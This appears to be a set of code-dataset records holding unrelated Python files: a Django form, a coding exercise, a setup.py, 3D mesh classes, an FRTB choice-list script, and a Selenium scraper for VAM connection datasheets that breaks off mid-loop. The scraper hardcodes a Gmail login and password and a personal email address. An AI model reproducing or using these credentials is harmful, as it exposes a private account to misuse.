\n\t\t'vodas',\n\t\t]\n\n\nclass WorkingHoursForm(ModelForm):\n\n\tWEEKDAYS = [\n\t\t(0, _(\"\")),\n\t (1, _(\"Monday\")),\n\t (2, _(\"Tuesday\")),\n\t (3, _(\"Wednesday\")),\n\t (4, _(\"Thursday\")),\n\t (5, _(\"Friday\")),\n\t (6, _(\"Saturday\")),\n\t (7, _(\"Sunday\")),\n\t]\n\n\tis_carbonated = forms.BooleanField(label='Carbonated', required=False)\n\tweeekday = forms.ChoiceField(widget=forms.Select(), choices=WEEKDAYS, required=False)\n\tfrom_hour = forms.TimeField(widget=TimeWidget(usel10n=False, bootstrap_version=3, options=time_options), required=False)\n\tto_hour = forms.TimeField(widget=TimeWidget(usel10n=False, bootstrap_version=3), required=False)\n\n\tclass Meta:\n\n\t\ttime_options = {\n\t\t\t'format': 'HH:ii',\n\t\t\t'autoclose': True,\n\t\t}\n\n\t\tmodel = WorkingHours\n\t\tfields = ['is_carbonated', 'weeekday', 'from_hour', 'to_hour']\n\t\twidgets = {\n\t\t\t'from_hour': TimeWidget(options=time_options),\n\t\t\t'to_hour': TimeWidget(options=time_options),\n\t\t}\n\n","sub_path":"apps/voda/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1646376","text":"# -*- coding: utf-8 -*-\n\ndef call(n):\n for i in range(n + 1):\n if i % 3 == 0:\n print( ' ' + str(i), end='' )\n else:\n x = i\n while i != 0:\n if i % 10 == 3:\n print( ' ' + str(x), end='' )\n i = int(i / 10)\n\n\n print()\n\nif __name__ == '__main__':\n n = input()\n call( int(n) )\n","sub_path":"python/aizu/itp/problem1_5D.py","file_name":"problem1_5D.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"466076288","text":"# -*- coding: utf-8 -*-\n\nimport os\nfrom setuptools import setup\n\nfont_face_files = [\n os.path.join(path, file) \\\n for path, dirs, files in os.walk('./theme/css/webfonts') \\\n for file in files\n]\n\nsetup(\n name='faerie',\n packages=['faerie'],\n version='1.0.0',\n description='A simple toy static blog generator',\n author='pjhades',\n author_email='pj.hades@gmail.com',\n url='http://github.com/pjhades/faerie',\n scripts=['faerie/faerie'],\n data_files=[('/usr/share/faerie/', ['site.conf']),\n ('/usr/share/faerie/theme/views/', ['./theme/views/base.html', \n './theme/views/footer.html', \n './theme/views/header.html', \n './theme/views/index.html', \n './theme/views/atom.xml', \n './theme/views/archive.html', \n './theme/views/page.html', \n './theme/views/post.html']),\n ('/usr/share/faerie/theme/js/', ['./theme/js/main.js',\n './theme/js/jquery-1.8.3.min.js']),\n ('/usr/share/faerie/theme/css/', ['./theme/css/main.css']),\n ('/usr/share/faerie/theme/css/', ['./theme/css/font-face.css']),\n ('/usr/share/faerie/theme/css/webfonts', font_face_files),\n ('/usr/share/faerie/theme/images/', ['./theme/images/favicon.png',\n './theme/images/quote.png',\n './theme/images/feed.png',\n './theme/images/back.jpg']),\n ],\n classifiers=[\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.3',\n 'Programming Language :: Python :: 2.4',\n 'Programming Language :: Python :: 2.5',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet',\n 'Topic :: Internet :: WWW/HTTP',\n ],\n long_description=open(os.path.join(os.path.dirname(__file__), 'README.md')).read()\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"287144412","text":"\"\"\"\r\n\r\n# classes to represent actual 3d space\r\n# last step between 3mf file structure and the rest of the program\r\n# it should be easy to translate information from these structures to 3mf format\r\n\r\nclass Vertex\r\n parent_space : PointSpace # a space the point belongs to\r\n x, y, z # own coordinates in parent space\r\n global_vertex_number # 3mf structure vertex sequence number\r\n\r\nclass Triangle\r\n v1, v2, v3 : Vertex # 3 vertices that form this triangle\r\n\r\nclass Space\r\n x_size, y_size_, z_size # space dimensions\r\n vertex_space[][][] : Vertex # 3d array of Vertex, for structured storage\r\n\r\n\"\"\"\r\n\r\nfrom PIL import Image\r\nimport xml.etree.ElementTree as ET\r\nfrom xml.dom import minidom\r\nimport os\r\nimport shutil\r\nimport timeit\r\n\r\n\r\nclass Coordinate:\r\n \"\"\"\r\n Abstract coordinate vector\r\n \"\"\"\r\n def __init__(self, key=None):\r\n self.coordinate = None # Return or set a set of numbers\r\n\r\n self.parent_vertex = None # Return or set parent Vertex\r\n\r\n self.scale = self._scale # Return scaled Coordinate\r\n self.translate = self._translate # Return translated Coordinate e\r\n\r\n if key is not None:\r\n try:\r\n _ = len(key)\r\n except Exception as e:\r\n print(e)\r\n raise e\r\n self.coordinate = key\r\n\r\n def __str__(self):\r\n s = f'(Coordinate Object.\\n' \\\r\n + 'Value: ' + str(self.coordinate) + ')'\r\n return s\r\n\r\n def __len__(self):\r\n try:\r\n own_dimension = len(self.coordinate)\r\n except Exception as e:\r\n print(e)\r\n raise e\r\n return own_dimension\r\n\r\n def _scale(self, key=None):\r\n \"\"\"\r\n Scale corrdinate using an iterable\r\n \"\"\"\r\n try:\r\n own_dimension = len(self.coordinate)\r\n key_dimension = len(key)\r\n except Exception as e:\r\n print(str(e))\r\n raise e\r\n for i in range(own_dimension):\r\n try:\r\n self.coordinate[i] *= key[i]\r\n except Exception as e:\r\n print(str(e))\r\n raise e\r\n return self\r\n\r\n def _translate(self, key=None):\r\n \"\"\"\r\n Translate corrdinate using an iterable\r\n \"\"\"\r\n try:\r\n own_dimension = len(self.coordinate)\r\n key_dimension = len(key)\r\n except Exception as e:\r\n print(str(e))\r\n raise e\r\n for i in range(own_dimension):\r\n try:\r\n self.coordinate[i] += key[i]\r\n except Exception as e:\r\n print(str(e))\r\n raise e\r\n return self\r\n\r\n\r\nclass Vertex:\r\n def __init__(self, coordinate=None, sequence_number=None, parent_triangle=None):\r\n self.coordinate = None # Return or set vertex coordinates\r\n self.sequence_number = sequence_number # Return or set 3mf vertex sequence number\r\n\r\n self.parent_triangle = None # Return or set parent Triangle\r\n self.parent_triangle_mesh = None # Return or set parent TriangleMesh\r\n\r\n if type(coordinate) is Coordinate:\r\n self.coordinate = coordinate\r\n\r\n if type(parent_triangle) is Triangle:\r\n self.parent_triangle = parent_triangle\r\n self.parent_triangle_mesh = parent_triangle.parent_triangle_mesh\r\n\r\n def __str__(self):\r\n s = f'(Vertex Object.\\n' \\\r\n + 'Coordinate: ' + str(self.coordinate) + '\\n'\\\r\n + 'Vertex number: ' + str(self.sequence_number) + ')'\r\n return s\r\n\r\n def __len__(self):\r\n try:\r\n own_length = len(self.coordinate)\r\n except Exception as e:\r\n print(e)\r\n raise e\r\n return own_length\r\n\r\n\r\n\r\nclass Triangle:\r\n def __init__(self, vertices=None):\r\n self.vertices = self._vertices # Return or set iterable with exactly 3 Vertex objects\r\n self._v_0 = None\r\n self._v_1 = None\r\n self._v_2 = None\r\n\r\n self.parent_triangle_mesh = None # Return or set parent TriangleMesh\r\n\r\n self.flip = None # Return or set self flipped\r\n\r\n if vertices is not None:\r\n try:\r\n vertices_length = len(vertices)\r\n if not vertices_length == 3:\r\n raise Exception(\"vartices_length <> 3\")\r\n if type(vertices[0]) is not Vertex:\r\n raise TypeError(\"Vertex object expected\")\r\n if type(vertices[1]) is not Vertex:\r\n raise TypeError(\"Vertex object expected\")\r\n if type(vertices[2]) is not Vertex:\r\n raise TypeError(\"Vertex object expected\")\r\n except Exception as e:\r\n print(str(e))\r\n raise e\r\n self._v_0 = vertices[0]\r\n self._v_1 = vertices[1]\r\n self._v_2 = vertices[2]\r\n for v in vertices:\r\n v.parent_triangle = self\r\n\r\n def _vertices(self, key=None):\r\n # if argument is None\r\n if key is None:\r\n return [self._v_0, self._v_1, self._v_2]\r\n\r\n # if argument parses to int\r\n # return\r\n v_idx = None\r\n try:\r\n v_idx = int(key)\r\n except Exception as e:\r\n pass\r\n if v_idx is not None:\r\n if v_idx == 0:\r\n return self._v_0\r\n elif v_idx == 1:\r\n return self._v_1\r\n elif v_idx == 2:\r\n return self._v_2\r\n else:\r\n raise IndexError(\"Index value out of range\")\r\n\r\n # if argument is an iterable of length 3\r\n key_len = None\r\n try:\r\n key_len = len(key)\r\n except Exception as e:\r\n pass\r\n if key_len is not None and key_len == 3:\r\n self._v_0 = key[0]\r\n self._v_1 = key[1]\r\n self._v_2 = key[2]\r\n return True\r\n else:\r\n raise IndexError(\"Expected exactly 3 objects\")\r\n\r\n\r\n\r\n\r\nclass TriangleMesh:\r\n def __init__(self, key=None):\r\n self.triangles = None # Return or set iterable with Triangle objects\r\n self.vertices = None # Return iterable with all Vertex objects that belong Triangles that belong to the Mesh\r\n\r\n self.addTriangles = None # Add a Triangle object(s) to the mesh\r\n self.removeTriangles = None # Removes Triangle object(s) from the mesh\r\n\r\n\r\n\r\n\r\n# class VertexSpace:\r\n# def __init__(self, key=None):\r\n# self.dimensions = None # Return space dimensions\r\n# self.vertex_space = None # Return or set iterable with Vertex objects\r\n#\r\n# self.vertexCount = None # Returns the number of Vertex objects in the space\r\n\r\n\r\n\r\n\r\n# c0 = Coordinate([1,2])\r\n# v0 = Vertex(c0, 0)\r\n# c1 = Coordinate([1,2])\r\n# v1 = Vertex(c1, 0)\r\n# c2 = Coordinate([1,2])\r\n# v2 = Vertex(c2, 0)\r\n#\r\n# t = Triangle([v0, v1, v2])\r\n\r\n\r\nc0 = Coordinate([1,2])\r\nv0 = Vertex(sequence_number=0)\r\nv0.coordinate = c0\r\nc1 = Coordinate([1,2])\r\nv1 = Vertex(c1, 0)\r\nc2 = Coordinate([1,2])\r\nv2 = Vertex(c2, 0)\r\n\r\nt = Triangle([v0, v1, v2])\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"_BACKUPS_v2/v2_1.py","file_name":"v2_1.py","file_ext":"py","file_size_in_byte":7145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"37635813","text":"\nimport acm, time\n\ndef ValidHierarchies(columnName):\n validHierarchies = []\n for hierarchyType in acm.FHierarchyType.Select(''):\n for column in hierarchyType.HierarchyColumnSpecifications():\n if columnName == column.Name():\n validHierarchies.extend(hierarchyType.Hierarchies())\n break\n return validHierarchies\n\ndef TimeStamp():\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())\n\ndef ChoiceListFromName(name):\n choiceList = acm.FChoiceList.Select01('name=\"' + name + '\" list=\"MASTER\"', '')\n if not choiceList:\n choiceList = acm.FChoiceList()\n choiceList.List = 'MASTER'\n choiceList.Name = name\n choiceList.Commit()\n print (TimeStamp() + ' \"' + name + '\"')\n return choiceList\n\ndef AddChoiceListItemIfNeeded(list, listValue):\n found = False\n for choice in list.Choices():\n if listValue == choice.Name():\n found = True\n break\n if not found:\n newChoiceList = acm.FChoiceList()\n newChoiceList.List = list\n newChoiceList.Name = listValue\n sortOrder = 0\n if listValue.isdigit():\n #Put integers in correct sort order\n sortOrder = int(listValue)\n elif acm.FCurrency[listValue]:\n #Put currencies last\n sortOrder = 100\n newChoiceList.SortOrder = sortOrder\n newChoiceList.Commit()\n print (TimeStamp() + ' \"' + listValue + '\"')\n\ndef AddChoiceListDataRecursive(hierarchyTree, node, levelColumn, choiceListPerTag):\n for dataValue in node.HierarchyDataValues():\n column = dataValue.HierarchyColumnSpecification()\n dataValue = dataValue.DataValue()\n if (column == levelColumn) and (dataValue in choiceListPerTag):\n AddChoiceListItemIfNeeded(choiceListPerTag[dataValue], node.DisplayName())\n else: \n children = hierarchyTree.Children(node)\n if children:\n for child in children:\n AddChoiceListDataRecursive(hierarchyTree, child, levelColumn, choiceListPerTag)\n\ndef GetLevelColumn(hierarchy):\n levelColumn = None\n for column in hierarchy.HierarchyType().HierarchyColumnSpecifications():\n if 'Level Type' == column.Name():\n levelColumn = column\n break\n if not levelColumn:\n raise Exception('Hierarchy lacks Level Type column.')\n return levelColumn\n\ndef DeleteChoiceListData(choiceList, bannedList):\n for c in choiceList.Choices(): \n if (c.Name() in bannedList) and c.CanBeDeleted():\n print (TimeStamp() + \" Removing \" + '\"'+c.Name() + '\"')\n c.Delete()\n","sub_path":"Extensions/FRTB Components/FPythonCode/FRTBCreateHierarchyChoiceListCommon.py","file_name":"FRTBCreateHierarchyChoiceListCommon.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"285921413","text":"# Created By JDB\r\n# Objetivo -> Extraer información del sitio http://www.vamservices.com/technical_information/connection_ds_USA.aspx\r\n\r\nif True:\r\n import time\r\n import json\r\n import pandas as pd\r\n import smtplib\r\n import functools\r\n import os\r\n import time\r\n from selenium import webdriver\r\n from selenium.webdriver.common.by import By\r\n from selenium.webdriver.chrome.options import Options\r\n from selenium.webdriver.common.action_chains import ActionChains\r\n from selenium.webdriver.support import expected_conditions\r\n from selenium.webdriver.support.wait import WebDriverWait\r\n from selenium.webdriver.common.keys import Keys\r\n from selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\n from selenium.common.exceptions import NoSuchElementException, ElementClickInterceptedException,StaleElementReferenceException\r\n from selenium.webdriver.support.ui import Select\r\n from time import sleep\r\n\r\nexec_time= time.strftime(\"%Y%m%d-%H%M%S\")\r\n\r\ndef ErrorHandlingVAM(func):\r\n num_retries = 10\r\n @functools.wraps(func)\r\n def wrapper(*a, **kw):\r\n for i in range(num_retries):\r\n if i ==4:\r\n Notify_gmail()\r\n break\r\n try:\r\n return func(*a, **kw)\r\n \r\n except NoSuchElementException:\r\n sleep(2)\r\n print('re-try',i)\r\n VAM_data.to_excel('VAM_DATA_{}.xlsx'.format(exec_time))\r\n re_start.save()\r\n\r\n return func(*a, **kw)\r\n\r\n except ElementClickInterceptedException:\r\n print(ElementClickInterceptedException)\r\n Notify_gmail()\r\n\r\n except StaleElementReferenceException:\r\n print(ElementClickInterceptedException)\r\n sleep(2)\r\n print('re-try',i)\r\n Notify_gmail()\r\n\r\n return wrapper\r\n\r\n\r\nclass VAMSearch():\r\n\r\n def __init__(self):\r\n self.sleep_time = 2\r\n self.options_OD = \"\"\r\n self.options_wt = \"\"\r\n self.options_GradeOrigin = ''\r\n self.options_Grade = \"\"\r\n self.options_Connection = \"\"\r\n self.options_CouplingOption = \"\"\r\n self.options_Design = \"\"\r\n self.options_DriftType = \"\"\r\n self.options_RBW = \"\"\r\n\r\n def setup_method(self, method):\r\n driver_path=r\"C:\\Users\\60063136\\Desktop\\Python\\chromedriver.exe\"\r\n option = webdriver.ChromeOptions()\r\n chrome_prefs = dict()\r\n option.experimental_options[\"prefs\"] = chrome_prefs\r\n chrome_prefs[\"profile.default_content_settings\"] = {\"images\": 2}\r\n chrome_prefs[\"profile.managed_default_content_settings\"] = {\"images\": 2}\r\n self.driver = webdriver.Chrome(driver_path,chrome_options=option)\r\n self.vars = {}\r\n\r\n def GoToSite(self):\r\n self.driver.get(\"http://www.vamservices.com/technical_information/connection_ds_USA.aspx\")\r\n self.driver.set_window_size(1552, 840)\r\n\r\n def wait_load(self):\r\n wait = self.driver.find_element(By.ID,\"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_UpdateProgress1\")\r\n \r\n if wait.get_attribute('style').find('hidden')>0:\r\n sleep(0.75)\r\n \r\n else:\r\n while wait.get_attribute('style').find('hidden')<0:\r\n wait = self.driver.find_element(By.ID,\"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_UpdateProgress1\")\r\n sleep(1.25)\r\n\r\n @ErrorHandlingVAM\r\n def GenerateDS(self):\r\n self.wait_load()\r\n self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Bt_ViewCDS\").click()\r\n self.wait_load()\r\n sleep(0.25)\r\n\r\n @ErrorHandlingVAM\r\n def ClearFilter(self):\r\n self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Bt_ResetCriteria\").click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def teardown_method(self, method):\r\n self.driver.quit()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_OD(self,**kwargs):\r\n self.wait_load()\r\n dropdown_OD = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_OD\")\r\n Selection = kwargs.get('Selection', None)\r\n if Selection is None:\r\n self.options_OD = dropdown_OD.text.split('\\n')\r\n else:\r\n Selection=Selection.strip()\r\n dropdown_OD.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection)).click()\r\n \r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_wt(self,**kwargs):\r\n self.wait_load()\r\n dropdown_wt = self.driver.find_element(By.ID,\"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Wall_Weight\")\r\n Selection = kwargs.get('Selection', None)\r\n \r\n if Selection is None:\r\n self.options_wt = dropdown_wt.text.split('\\n')\r\n \r\n else:\r\n Selection = Selection.strip()\r\n dropdown_wt.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection)).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_GradeOrigin(self,**kwargs):\r\n self.wait_load()\r\n dropdown_origin = self.driver.find_element(By.ID,\"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_GradeOrigine\")\r\n Selection = kwargs.get('Selection', None)\r\n \r\n if Selection is None:\r\n self.options_GradeOrigin = dropdown_origin.text.split('\\n')\r\n\r\n else:\r\n Selection=Selection.strip()\r\n dropdown_origin.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection)).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_Grade(self,**kwargs):\r\n self.wait_load()\r\n dropdown_grade = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Grade\")\r\n\r\n Selection = kwargs.get('Selection', None)\r\n\r\n if Selection is None:\r\n self.options_Grade = dropdown_grade.text.split('\\n')\r\n\r\n else:\r\n Selection=Selection.strip()\r\n dropdown_grade.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection)).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_Connection(self,**kwargs):\r\n self.wait_load() \r\n dropdown_Connection = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Product\")\r\n Selection = kwargs.get('Selection', None)\r\n\r\n if Selection is None:\r\n self.options_Connection = dropdown_Connection.text.split('\\n')\r\n\r\n else:\r\n dropdown_Connection.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection.strip())).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_Design(self,**kwargs):\r\n self.wait_load()\r\n dropdown_Design=self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Isolated\")\r\n Selection = kwargs.get('Selection', None)\r\n\r\n if Selection is None:\r\n self.options_Design = dropdown_Design.text.split('\\n')\r\n\r\n else:\r\n dropdown_Design.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection.strip())).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_CouplingOption(self,**kwargs): \r\n self.wait_load()\r\n dropdown_CouplingOption = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Option\")\r\n Selection = kwargs.get('Selection', None)\r\n \r\n if Selection is None:\r\n self.options_CouplingOption = dropdown_CouplingOption.text.split('\\n')\r\n\r\n else:\r\n select=Select(dropdown_CouplingOption)\r\n select.select_by_visible_text(Selection.strip())\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_DriftType(self,**kwargs):\r\n self.wait_load()\r\n self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_DriftType\").click()\r\n dropdown_DriftType = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_DriftType\")\r\n Selection = kwargs.get('Selection', None)\r\n\r\n if Selection is None:\r\n self.options_DriftType = dropdown_DriftType.text.split('\\n')\r\n\r\n else:\r\n dropdown_DriftType.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection.strip())).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def Selection_RBW(self,**kwargs):\r\n self.wait_load()\r\n self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_WallThicknessMin\").click()\r\n dropdown_RBW = self.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_WallThicknessMin\")\r\n Selection=kwargs.get('Selection',None)\r\n\r\n if Selection is None:\r\n self.options_RBW = dropdown_RBW.text.split('\\n')\r\n else:\r\n dropdown_RBW.find_element(By.XPATH, \"//option[. = '{}']\".format(Selection.strip())).click()\r\n self.wait_load()\r\n\r\n @ErrorHandlingVAM\r\n def DataFrameToRow(self, df):\r\n df = pd.DataFrame(df.values, columns=['FieldName', 'USC_Value', 'USC_Unit', 'SI_Value', 'SI_Unit'])\r\n df_output = dict()\r\n for index in df.index:\r\n FieldName = df.iloc[index].FieldName\r\n df_output[FieldName + '_USC'] = df.iloc[index].USC_Value\r\n df_output[FieldName + '_USC_UOM'] = df.iloc[index].USC_Unit\r\n df_output[FieldName + '_SI'] = df.iloc[index].SI_Value\r\n df_output[FieldName + '_SI_UOM'] = df.iloc[index].SI_Unit\r\n\r\n return pd.DataFrame(df_output, index=[0])\r\n\r\n @ErrorHandlingVAM\r\n def GetInfoFromNavegador(self):\r\n self.wait_load()\r\n titulo = self.driver.find_element(By.ID,\"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_DataList_CDS_ctl00_Panel_TableHeaderCDS\")\r\n PipeProperties = self.driver.find_element(By.ID, \"Tbl_PIPE_Properties\")\r\n ConnectionProperties = self.driver.find_element(By.ID, \"Tbl_CONNECTION_Properties\")\r\n ConnectionPerformance = self.driver.find_element(By.CLASS_NAME, \"tableau_loading_performances\")\r\n ConnectionTorques = self.driver.find_element(By.ID, \"Tbl_torques\")\r\n ConnectionReferenceVME = self.driver.find_element(By.ID,\r\n \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_DataList_CDS_ctl00_Img_Marketing\")\r\n FootNotes = self.driver.find_element(By.ID,\r\n \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_DataList_CDS_ctl00_Lbl_Marketing\")\r\n\r\n row_data = pd.DataFrame()\r\n\r\n for var in [PipeProperties, ConnectionProperties, ConnectionPerformance, ConnectionTorques]:\r\n read_html = pd.read_html(var.get_attribute('outerHTML'))[0]\r\n row_data = row_data.append(self.DataFrameToRow(pd.DataFrame(read_html)).T, ignore_index=False)\r\n row_data = row_data.T\r\n row_data['FootNote'] = FootNotes.get_attribute('innerText')\r\n row_data['VME_source'] = ConnectionReferenceVME.get_attribute('src')\r\n row_data['Title'] = titulo.get_attribute('innerText')\r\n\r\n return row_data\r\n\r\n\r\ndef FileNotFound(func):\r\n num_retries = 5\r\n @functools.wraps(func)\r\n def wrapper(*a, **kw):\r\n for i in range(num_retries):\r\n try:\r\n return func(*a, **kw)\r\n except FileNotFoundError:\r\n print('Error, try again ',i)\r\n new_loc=input('Ingrese la ubicación del archivo json')\r\n new_loc=new_loc.replace('\"','')\r\n return func(self=a[0],file_loc=new_loc,**kw)\r\n\r\n return wrapper\r\n\r\n\r\nclass re_start_class:\r\n\r\n def __init__(self, **kwargs):\r\n\r\n file_loc = kwargs.get('file_loc', None)\r\n\r\n if file_loc is None:\r\n self.load('re_start.json')\r\n else:\r\n self.load(file_loc)\r\n\r\n @FileNotFound\r\n def load(self, file_loc):\r\n with open(file_loc, 'r') as fp:\r\n self.data = json.load(fp)\r\n \r\n def save(self):\r\n with open(r're_start.json', 'w') as fp:\r\n json.dump(self.data, fp, indent=4)\r\n\r\n def update_data(self,Connection_, OD_, wt_, GradeOrigin_, Grade_):\r\n\r\n if Connection_ != re_start.data['Last_Connection']:\r\n re_start.data['Loaded_Connection'].append(re_start.data['Last_Connection'])\r\n re_start.data['Last_Connection'] = Connection_\r\n\r\n if OD_ != re_start.data['Last_OD']:\r\n re_start.data['Loaded_OD'].append(re_start.data['Last_OD'])\r\n re_start.data['Last_OD'] = OD_\r\n\r\n if wt_ != re_start.data['Last_wt']:\r\n re_start.data['Loaded_wt'].append(re_start.data['Last_wt'])\r\n re_start.data['Last_wt'] = wt_\r\n re_start.data['Loaded_Grade']=[]\r\n\r\n\r\n\r\n if GradeOrigin != re_start.data['Last_GradeOrigin']:\r\n if GradeOrigin_ != '':\r\n re_start.data['Loaded_GradeOrigin'].append(re_start.data['Last_GradeOrigin'])\r\n re_start.data['Last_GradeOrigin'] = GradeOrigin_\r\n if len(re_start.data['Loaded_GradeOrigin'])==3:\r\n re_start.data['Loaded_Grade']=[]\r\n\r\n if Grade_ != re_start.data['Last_Grade']:\r\n re_start.data['Loaded_Grade'].append(Grade_)\r\n re_start.data['Last_Grade'] = Grade_\r\n\r\n\r\ndef RemoveSelect(list_option):\r\n for option in list_option:\r\n if option.find('Select')>0:\r\n list_option.remove(option)\r\n return list_option\r\n\r\n\r\ndef Notify_gmail():\r\n\r\n gmail_user = 'background.job.python@gmail.com'\r\n gmail_password = 'mqinbmnvargppnat'\r\n\r\n sent_from = gmail_user\r\n to = ['joelduin@gmail.com']\r\n subject = 'VAM - Information'\r\n body = 'Se ha finalizado con error'\r\n\r\n email_text = \"\"\"\\\r\n From: {}\r\n To: {}\r\n Subject: {}\r\n\r\n {}\r\n \"\"\".format (sent_from, \", \".join(to), subject, body)\r\n\r\n try:\r\n server = smtplib.SMTP_SSL('smtp.gmail.com', 465)\r\n server.ehlo()\r\n server.login(gmail_user, gmail_password)\r\n server.sendmail(sent_from, to, email_text)\r\n server.close()\r\n\r\n except:\r\n print('Error')\r\n\r\ncurr_dir=os.path.dirname(os.path.realpath(__file__))\r\nos.chdir(curr_dir)\r\nlast_dir=max([int(x) for x in os.listdir() if os.path.isdir(x)])\r\nos.chdir(str(last_dir))\r\nre_start=re_start_class()\r\nos.chdir(curr_dir)\r\nos.mkdir(str(last_dir+1))\r\nos.chdir(str(last_dir+1))\r\n\r\n\r\nNavegador=VAMSearch()\r\nNavegador.setup_method('')\r\nNavegador.GoToSite()\r\nNavegador.Selection_Connection()\r\nlist_Connection=RemoveSelect(Navegador.options_Connection)\r\nVAM_data=pd.DataFrame()\r\nn=0\r\n\r\n\r\nif True:\r\n Last_Connection = re_start.data['Last_Connection']\r\n Loaded_OD = re_start.data['Loaded_OD']\r\n Last_OD = re_start.data['Last_OD']\r\n Loaded_wt = re_start.data['Loaded_wt']\r\n Last_wt = re_start.data['Last_wt']\r\n Loaded_GradeOrigin = re_start.data['Loaded_GradeOrigin']\r\n Loaded_Grade = re_start.data['Loaded_Grade']\r\n\r\nfor Connection in list_Connection:\r\n\r\n Navegador.Selection_Connection(Selection = Connection); Navegador.Selection_OD()\r\n list_OD = RemoveSelect(Navegador.options_OD)\r\n\r\n if Connection==Last_Connection:\r\n list_OD = [x for x in list_OD if x not in Loaded_OD]\r\n\r\n for OD in list_OD:\r\n\r\n Navegador.Selection_OD(Selection=OD)\r\n\r\n # Aclaratoria: Estas tres lineas las dejé pues me di cuenta que cuando pasaba\r\n # del 6\" al 6 5/8\", al seleccionar 6 5/8\" se des-seleccionaba la conexión\r\n # Generando errores. Me parece que es un tema de VAM\r\n\r\n selected_conn = Select(Navegador.driver.find_element(By.ID, \"ctl00_ContentPlaceHolder1_Uc_datasheet_view_new1_Criteria_Product\"))\r\n if selected_conn.first_selected_option.text == 'Select':\r\n Navegador.Selection_Connection(Selection=Connection)\r\n\r\n Navegador.Selection_wt()\r\n list_wt = RemoveSelect(Navegador.options_wt)\r\n\r\n if Connection == Last_Connection and OD == Last_OD:\r\n list_wt = [x for x in list_wt if x not in Loaded_wt]\r\n\r\n for wt in list_wt:\r\n Navegador.Selection_wt(Selection=wt); Navegador.Selection_GradeOrigin()\r\n list_GradeOrigin = RemoveSelect(Navegador.options_GradeOrigin)\r\n\r\n if (Connection == Last_Connection) and (OD == Last_OD) and (wt==Last_wt):\r\n list_GradeOrigin=[x for x in list_GradeOrigin if x not in Loaded_GradeOrigin]\r\n\r\n for GradeOrigin in list_GradeOrigin:\r\n Navegador.Selection_GradeOrigin(Selection=GradeOrigin); Navegador.Selection_Grade()\r\n list_Grade = RemoveSelect(Navegador.options_Grade)\r\n\r\n if (Connection == Last_Connection) and (OD ==Last_OD) and (wt == Last_wt):\r\n list_Grade = [x for x in list_Grade if x not in Loaded_Grade]\r\n\r\n for Grade in list_Grade:\r\n Navegador.Selection_Grade(Selection=Grade) ; Navegador.Selection_Design()\r\n list_Design = RemoveSelect(Navegador.options_Design)\r\n\r\n for Design in list_Design:\r\n Navegador.Selection_Design(Selection=Design) ; Navegador.Selection_CouplingOption()\r\n list_CouplingOption = RemoveSelect(Navegador.options_CouplingOption)\r\n\r\n for CouplingOption in list_CouplingOption:\r\n\r\n Navegador.Selection_CouplingOption(Selection=CouplingOption)\r\n Navegador.Selection_DriftType()\r\n list_drift=RemoveSelect(Navegador.options_DriftType)\r\n Navegador.Selection_DriftType(Selection=list_drift[0])\r\n\r\n Navegador.Selection_RBW()\r\n 